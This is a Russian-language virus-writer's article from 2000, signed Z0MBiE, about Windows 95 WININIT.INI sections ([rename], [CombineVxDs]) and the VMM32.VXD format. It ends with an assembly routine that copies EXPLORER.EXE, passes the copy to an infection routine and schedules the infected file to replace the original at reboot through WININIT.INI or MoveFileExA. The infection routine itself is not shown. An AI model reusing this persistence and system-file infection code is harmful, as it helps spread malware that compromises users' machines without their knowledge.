![]() |
![]() |
![]() |
Перед загрузкой маздая WININIT.EXE обрабатывает WININIT.INI: из секции [rename] считываются соответствующие имена и происходит так называемое "обновление" файлов. WININIT.INI: [rename] C:\WINDOWS\OLDFILE.EXE=C:\WINDOWS\NEWFILE.EXE Требуется подобная фича тогда, когда подлежащий обновлению OLDFILE.EXE является, например, открытым или исполняемым в настоящий момент. (типа EXPLORER.EXE или KERNEL32.DLL) Но мало кто знает, что кроме [rename] есть еще более убойная вещь,
называемая [CombineVxDs]. Найдено оно было случайно при инсталляции win95,
и, хотя тестировать такое мне попросту лениво, но это стопроцентно
как-то работает. WININIT.INI: [CombineVxDs] C:\WINDOWS\SYSTEM\VMM32\vkd.vxd=C:\WINDOWS\SYSTEM\vmm32.vxd И действительно, взглянув в WININIT.EXE, я увидел не только rename и CombineVxDs, но и какое-то SetupOptions. Короче говоря, флаг вам в руки... ПРИМЕЧАНИЯ1. Обычный VMM32.VXD представляет из себя следующее: VMM32.VXD: [dos-loader] ~64k формат W4: [таблица указателей на VxD-файлы] ~1k [запакованные VxD-файлы] 2. Распакованный VMM32.VXD представляет из себя вот что: VMM32.VXD: [dos-loader] те же самые 64k формат W3: [таблица указателей на VxD-файлы] ~2k [распакованные VxD-файлы] (без MZ-хеадеров) 3. Работа с VMM32.VXD осуществляется утилитой DEVLIB.EXE из DDK\BIN. devlib -u vmm32.vxd -- распаковываем devlib -d vmm32.vxd -- получаем список VxDей (дамп таблицы указателей) devlib -d vmm32.vxd dosmgr -- выдираем dosmgr.vxd (будет без MZ-хеадера) 4. Пример добавления секции [rename] в WININIT.INI: wininit_ini db 'C:\WINDOWS\WININIT.INI',0 wininit_section db 'rename',0 file_exe db 'C:\WINDOWS\EXPLORER.EXE',0 file_tmp db 'C:\WINDOWS\EXPLORER.TMP',0 infect_explorer: push 0 push file_tmp push file_exe callW CopyFileA lea edx, file_tmp call INFECT_FILE callW GetVersion shl eax, 1 jnc __winNT __win95: push offset wininit_ini push offset file_tmp push offset file_exe push offset wininit_section callW WritePrivateProfileStringA jmp __exit __winNT: push 4 ; DELAY_UNTIL_REBOOT push 0 push offset file_exe callW MoveFileExA push 4 ; DELAY_UNTIL_REBOOT push offset file_exe push offset file_tmp call MoveFileExA __exit: ret ; infect_explorer * * * (x) 2000 Z0MBiE, z0mbie.cjb.net |
||
![]() |
![]() |
![]() |